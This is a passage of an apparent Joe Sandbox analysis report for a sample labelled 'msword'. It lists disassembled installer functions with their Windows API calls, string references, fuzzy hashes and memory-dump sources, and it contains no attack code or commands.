                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: lstrlen$CloseCreateValuewvsprintf
                                  • String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
                                  • API String ID: 1641139501-220328614
                                  • Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
                                  • Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
                                  • Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
                                  • Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69
                                  Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
                                  • GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
                                  • WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
                                  • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
                                  • lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
                                  • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
                                  • WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
                                  • String ID: @bG$RMDir: RemoveDirectory invalid input("")
                                  • API String ID: 3734993849-3206598305
                                  • Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
                                  • Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
                                  • Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
                                  • Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC
                                  Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
                                  • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
                                  • GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
                                  • WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
                                  • GlobalFree.KERNEL32(00000000), ref: 00402F17
                                  • CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
                                  • DeleteFileW.KERNEL32(?), ref: 00402F56
                                  Strings
                                  • created uninstaller: %d, "%s", xrefs: 00402F3B
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                  • String ID: created uninstaller: %d, "%s"
                                  • API String ID: 3294113728-3145124454
                                  • Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
                                  • Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
                                  • Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
                                  • Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98
                                  Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004283D1,74DF23A0,00000000), ref: 00404FD6
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FE6
                                    • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FF9
                                    • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  • LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
                                  • FreeLibrary.KERNEL32(?,?), ref: 004024C3
                                  Strings
                                  • `G, xrefs: 0040246E
                                  • Error registering DLL: Could not initialize OLE, xrefs: 004024F1
                                  • Error registering DLL: %s not found in %s, xrefs: 0040249A
                                  • Error registering DLL: Could not load %s, xrefs: 004024DB
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
                                  • String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
                                  • API String ID: 1033533793-4193110038
                                  • Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
                                  • Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
                                  • Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
                                  • Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D
                                  Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetWindowLongW.USER32(?,000000EB), ref: 00403E10
                                  • GetSysColor.USER32(00000000), ref: 00403E2C
                                  • SetTextColor.GDI32(?,00000000), ref: 00403E38
                                  • SetBkMode.GDI32(?,?), ref: 00403E44
                                  • GetSysColor.USER32(?), ref: 00403E57
                                  • SetBkColor.GDI32(?,?), ref: 00403E67
                                  • DeleteObject.GDI32(?), ref: 00403E81
                                  • CreateBrushIndirect.GDI32(?), ref: 00403E8B
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                  • String ID:
                                  • API String ID: 2320649405-0
                                  • Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
                                  • Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
                                  • Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
                                  • Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94
                                  Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,004283D1,74DF23A0,00000000), ref: 00404FD6
                                    • Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FE6
                                    • Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,004283D1,74DF23A0,00000000), ref: 00404FF9
                                    • Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
                                    • Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059
                                    • Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
                                    • Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D
                                  • WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
                                  • GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
                                  • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2
                                  Strings
                                  • Exec: success ("%s"), xrefs: 00402263
                                  • Exec: command="%s", xrefs: 00402241
                                  • Exec: failed createprocess ("%s"), xrefs: 004022C2
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
                                  • String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
                                  • API String ID: 2014279497-3433828417
                                  • Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
                                  • Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
                                  • Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
                                  • Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D
                                  Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
                                  • GetMessagePos.USER32 ref: 0040489D
                                  • ScreenToClient.USER32(?,?), ref: 004048B5
                                  • SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
                                  • SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Message$Send$ClientScreen
                                  • String ID: f
                                  • API String ID: 41195575-1993550816
                                  • Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
                                  • Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
                                  • Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
                                  • Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4
                                  Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
                                  • MulDiv.KERNEL32(00080C00,00000064,1F401F03), ref: 00403295
                                  • wsprintfW.USER32 ref: 004032A5
                                  • SetWindowTextW.USER32(?,?), ref: 004032B5
                                  • SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7
                                  Strings
                                  • verifying installer: %d%%, xrefs: 0040329F
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Text$ItemTimerWindowwsprintf
                                  • String ID: verifying installer: %d%%
                                  • API String ID: 1451636040-82062127
                                  • Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
                                  • Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
                                  • Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
                                  • Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58
                                  Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                  Download Yara Rule
                                  APIs
                                  • CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
                                  • CharNextW.USER32(?,?,?,00000000), ref: 004060D6
                                  • CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
                                  • CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Char$Next$Prev
                                  • String ID: *?|<>/":
                                  • API String ID: 589700163-165019052
                                  • Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
                                  • Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
                                  • Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
                                  • Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD
                                  Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
                                  • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
                                  • RegCloseKey.ADVAPI32(?), ref: 00401504
                                  • RegCloseKey.ADVAPI32(?), ref: 00401529
                                  • RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Close$DeleteEnumOpen
                                  • String ID:
                                  • API String ID: 1912718029-0
                                  • Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
                                  • Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
                                  • Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
                                  • Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29
                                  Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
                                  • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
                                  • GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
                                  • VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360
                                    • Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A
                                  • GlobalFree.KERNEL32(007DFD80), ref: 00402387
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
                                  • String ID:
                                  • API String ID: 3376005127-0
                                  • Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
                                  • Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
                                  • Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
                                  • Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18
                                  Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
                                  • WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
                                  • lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
                                  • WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
                                  • String ID:
                                  • API String ID: 2568930968-0
                                  • Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
                                  • Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
                                  • Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
                                  • Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68
                                  Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDlgItem.USER32(?), ref: 004020A3
                                  • GetClientRect.USER32(00000000,?), ref: 004020B0
                                  • LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
                                  • SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
                                  • DeleteObject.GDI32(00000000), ref: 004020EE
                                  Memory Dump Source
